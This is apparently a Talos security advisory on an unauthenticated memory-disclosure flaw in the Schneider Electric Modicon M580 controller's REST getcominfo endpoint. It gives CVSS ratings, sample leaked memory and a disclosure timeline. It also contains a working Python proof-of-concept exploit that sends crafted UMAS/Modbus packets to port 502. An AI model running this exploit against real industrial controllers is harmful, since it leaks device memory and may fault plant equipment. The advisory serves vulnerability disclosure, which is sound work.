Lucene search

K
talosTalos IntelligenceTALOS-2019-0867
HistoryOct 08, 2019 - 12:00 a.m.

Schneider Electric Modicon M580 UMAS REST API getcominfo information disclosure vulnerability

2019-10-0800:00:00
Talos Intelligence
www.talosintelligence.com
31

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

0.002 Low

EPSS

Percentile

54.0%

Summary

An exploitable information disclosure vulnerability exists in the UMAS REST API getcominfo functionality of the Schneider Electric Modicon M580 Programmable Automation Controller firmware version SV2.80. A specially crafted HTTP request can cause the device to return arbitrary memory, resulting in the potential disclosure of system addresses. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.80

Product URLs

<https://www.schneider-electric.com/en/work/campaign/m580-epac/&gt;

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-200: Information Exposure

Details

The Modicon M580 is the latest in Schneider Electric’s Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.

Included in the web server is a REST API that allows clients to interact with various pieces of functionality on the device, including viewing alarms, querying rack information, and performing select UMAS requests. It is possible to read the registered name of the client holding a PLC reservation by leveraging the β€œ/rest/umas/getcominfo” UMAS endpoint. In cases where a client has obtained a reservation using a registered name of 0x33 bytes, arbitrary memory can get returned.

Returned data resembles the following:

    Hex                             ASCII
    ===                             =====
[*] 7fefbfbd                        ....
[*] efbfbd3d                        ...=
[*] efbfbd43                        ...C
[*] efbfbd62                        ...b
[*] efbfbd7f                        ....
[*] cd92                            ..
[*] cda6                            ..
[*] cdba                            ..
[*] efbfbdefbfbd                    ......
[*] efbfbd16                        ....
[*] efbfbd33                        ...3
[*] efbfbd47                        ...G
[*] efbfbd5a                        ...Z
[*] efbfbd6f                        ...o
[*] ce82                            ..
[*] ce96                            ..
[*] ceaa                            ..
[*] cebe                            ..
[*] efbfbd0f                        ....
[*] efbfbd2671756f743b              ...&quot;
[*] efbfbd36                        ...6
[*] efbfbd4a                        ...J
[*] efbfbd5e                        ...^
[*] efbfbd73                        ...s
[*] cf87                            ..
[*] cf9b                            ..
[*] cfb0                            ..
[*] efbfbd12                        ....
[*] efbfbd26616d703b                ...&amp;
[*] efbfbd3a                        ...:
[*] efbfbd4e                        ...N
[*] efbfbd76                        ...v
[*] d08a                            ..
[*] d09e                            ..
[*] d0b3                            ..
[*] efbfbd02                        ....
[*] 7e07efbfbd06                    ~.....
[*] 100148014cdea6065cefbfbd0650efbfbd4f0645544845524e455468    ..H.L...\....P...O.ETHERNETh
[*] efbfbd14                        ....
[*] 0c4008                          .@.
[*] d5bc                            ..
[*] efbfbd5d                        ...]
[*] efbfbd71                        ...q
[*] d685                            ..
[*] d699                            ..
[*] efbfbd11                        ....
[*] d793                            ..
[*] d7a7                            ..

The data itself does not seem to be controllable, but appears to contain addresses during some iterations.

Exploit Proof of Concept

import struct
import socket
import requests
import random
import binascii
import simplejson.errors

rhost = "192.168.10.1"
rport = 502
verbose = True

def main(): 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))

    artifacts = []

    while True:
        clientname = "A"*51
        clientnameLen = struct.pack("B", len(clientname))
        mbapLen = struct.pack("&gt;H", len(clientname) + 9)
        transid = struct.pack("&gt;H", random.randint(1, 255))
        msg = "{}\x00\x00{}\x00\x5a\x00\x10\x3b\x0e\x00\x00{}{}".format(transid, mbapLen, clientnameLen, clientname)
        s.send(msg)

        try:
            uri = "http://{}/rest/umas/getcominfo".format(rhost)
            resp = requests.get(uri, timeout=5)
            reserveName = resp.json()['reserveName']
            reserveName = reserveName.encode('utf-8')
            if len(reserveName) &gt; 52:
                reserveName = binascii.hexlify(reserveName)
                if reserveName not in artifacts:
                    artifacts.append(reserveName)
                    data = reserveName[102:]
                    
                    dataLen = len(data) + 4
                    numTabs = 1
                    if dataLen &lt; 8:
                        numTabs = 7
                    elif dataLen &lt; 16:
                        numTabs = 6
                    elif dataLen &lt; 24:
                        numTabs = 5
                    elif dataLen &lt; 32:
                        numTabs = 4
                    elif dataLen &lt; 40:
                        numTabs = 3
                    elif dataLen &lt; 48:
                        numTabs = 2
                    rawAsciiData = data.decode('hex')
                    asciiData = ""
                    for letter in rawAsciiData:
                        if ord(letter) &gt; 0x21 and ord(letter) &lt; 0x7f:
                            asciiData += letter
                        else:
                            asciiData += "."

                    print("[*] {}{}{}".format(data, "\t"*numTabs, asciiData))
        except requests.exceptions.ReadTimeout:
            print("[*] Request timed out. This usually indicates a device fault")
        except simplejson.errors.JSONDecodeError as e:
            print("[!] Unicode Error: {}".format(e))
        except KeyboardInterrupt:
            print("[*] Exiting...")
            break
        except Exception as e:
            print("[!] ERROR: {}".format(e))

        msg = "{}\x00\x00\x00\x04\x00\x5a\x00\x11".format(transid)
        s.send(msg)
    s.close()


if __name__ == '__main__':
    main()

Timeline

2019-07-30 - Vendor Disclosure
2019-08-27 - Vendor requested to reject issue
2019-08-29 - Talos provided additional analysis/feedback to substantiate vulnerability
2019-09-24 - Vendor acknowledged issue will be released in October 2019
2019-10-08 - Public Release

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

0.002 Low

EPSS

Percentile

54.0%

Related for TALOS-2019-0867